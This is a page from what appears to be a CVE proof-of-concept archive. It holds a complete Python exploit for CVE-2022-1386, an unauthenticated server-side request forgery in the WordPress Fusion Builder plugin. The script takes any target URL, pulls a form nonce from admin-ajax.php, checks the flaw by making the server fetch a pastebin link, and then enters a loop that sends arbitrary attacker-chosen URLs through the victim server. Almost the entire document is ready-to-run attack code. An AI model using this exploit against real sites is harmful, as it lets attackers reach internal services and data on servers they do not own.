4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-1386.py PY
"""
CVE-2022-1386 - Fusion Builder < 3.6.2 - Unauthenticated SSRF
:author Naufal Reky Ardhana <[email protected]>
"""

import binascii
import json
import os
import requests
import urllib3
from bs4 import BeautifulSoup


def display_banner():
    print(
        """
             CVE-2022-1386 - Fusion Builder < 3.6.2 - Unauthenticated SSRF
            ___   ____ ___  ___       ________ ____  _____
           |__ \ / __ \__ \|__ \     <  /__  /( __ )/ ___/
           __/ // / / /_/ /__/ /_____/ / /_ </ __  / __ \ 
         / __// /_/ / __// __/_____/ /___/ / /_/ / /_/ / 
        /____/\____/____/____/    /_//____/\____/\____/  
        """)


def encode_multipart_form_data(fields: object) -> object:
    boundary = binascii.hexlify(os.urandom(16)).decode('ascii')

    body = (
            "".join("--%s\r\n"
                    "Content-Disposition: form-data; name=\"%s\"\r\n"
                    "\r\n"
                    "%s\r\n" % (boundary, field, value)
                    for field, value in fields.items()) +
            "--%s--\r\n" % boundary
    )

    content_type = "multipart/form-data; boundary=%s" % boundary

    return body, content_type


class CVE_2022_1386:
    def __init__(self, url):
        self.request = None
        self.test_url = "https://pastebin.com/raw/XNBxNyaU"
        self.fusion_id = None
        self.url = url
        self.domain = self.url.split("//")[1].split("/")[0]

        self.make_folder()

    def make_folder(self):
        os.makedirs("output", exist_ok=True)
        os.makedirs(f"output/{self.domain}", exist_ok=True)

    def save_fusion_id(self):
        with open(f"output/{self.domain}/fusion_id.txt", "w") as f:
            f.write(self.fusion_id)

    def load_fusion_id(self):
        if os.path.exists(f"output/{self.domain}/fusion_id.txt"):
            with open(f"output/{self.domain}/fusion_id.txt", "r") as f:
                self.fusion_id = f.read()
                return self.fusion_id
        else:
            return None

    def generate_fusion_id(self):
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With": "XMLHttpRequest",
            "Sec-Fetch-Dest": "empty",
            "Sec-Fetch-Mode": "cors",
            "Sec-Fetch-Site": "same-origin",
            "Te": "trailers"
        }
        data = {
            "action": "fusion_form_update_view"
        }
        fusion_id = self.load_fusion_id()
        if fusion_id is None:
            r = requests.post(self.url + "/wp-admin/admin-ajax.php", headers=headers, data=data)
            if r.status_code == 200:
                soup = BeautifulSoup(r.text, "html.parser")
                try:
                    self.fusion_id = soup.find("input", {"name": "fusion-form-nonce-0"})["value"]
                    self.save_fusion_id()
                    return self.fusion_id
                except TypeError:
                    return None
            else:
                return None
        else:
            return fusion_id

    def exploit(self, payload):
        fusion_id = self.generate_fusion_id()

        if fusion_id is None:
            return False

        data = {
            "formData": f"email=example%40example.com&fusion_privacy_store_ip_ua=false"
                        f"&fusion_privacy_expiration_interval"
                        f"=48&privacy_expiration_action=ignore&fusion-form-nonce-0={fusion_id}&fusion-fields-hold"
                        f"-private-data=",
            "action": "fusion_form_submit_form_to_url",
            "fusion_form_nonce": fusion_id,
            "form_id": "0",
            "post_id": "0",
            "field_labels": '{"email":"Email address"}',
            "hidden_field_names": "[]",
            "fusionAction": payload,
            "fusionActionMethod": "GET"
        }
        encoded_data = encode_multipart_form_data(data)
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "X-Requested-With": "XMLHttpRequest",
            "Sec-Fetch-Dest": "empty",
            "Sec-Fetch-Mode": "cors",
            "Sec-Fetch-Site": "same-origin",
            "Te": "trailers",
            "Content-Type": encoded_data[1]
        }

        r = requests.post(self.url + "/wp-admin/admin-ajax.php", headers=headers, data=encoded_data[0])
        self.request = r.request
        if r.status_code == 200:
            try:
                return r.json()
            except json.decoder.JSONDecodeError:
                return {"status": "failed"}
        else:
            return {"status": "failed"}

    def save_raw_request(self, filename):
        headers = [f"{k}: {v}" for k, v in self.request.headers.items()]
        with open(filename, "w") as f:
            f.write(self.request.method + " " + self.request.url + " HTTP/1.1\r\n")
            f.write("\r\n".join(headers))
            f.write("\r\n\r\n")
            f.write(self.request.body)


if __name__ == '__main__':
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    display_banner()
    url = input("[>] Target URL: ")
    cve = CVE_2022_1386(url)
    print("[+] Testing SSRF...")
    result = cve.exploit(cve.test_url)
    if "3e87da640674ddd9c7bafbc1932b91c9" in result['info']:
        print("[+] Target is vulnerable to SSRF!")
        print("[+] Saving raw request...")
        cve.save_raw_request(f"output/{cve.domain}/raw_request.txt")
        print(f"[+] Raw request saved to output/ folder")

        while True:
            payload = input("[>] Payload: ")
            if payload == "exit":
                break
            print("[+] Sending payload...")
            result = cve.exploit(payload)
            if result['status'] == 'success':
                print("[+] Response:")
                print(result['info'])
            else:
                print("[-] Payload is not working!")
    else:
        print("[-] Target is not vulnerable to SSRF!")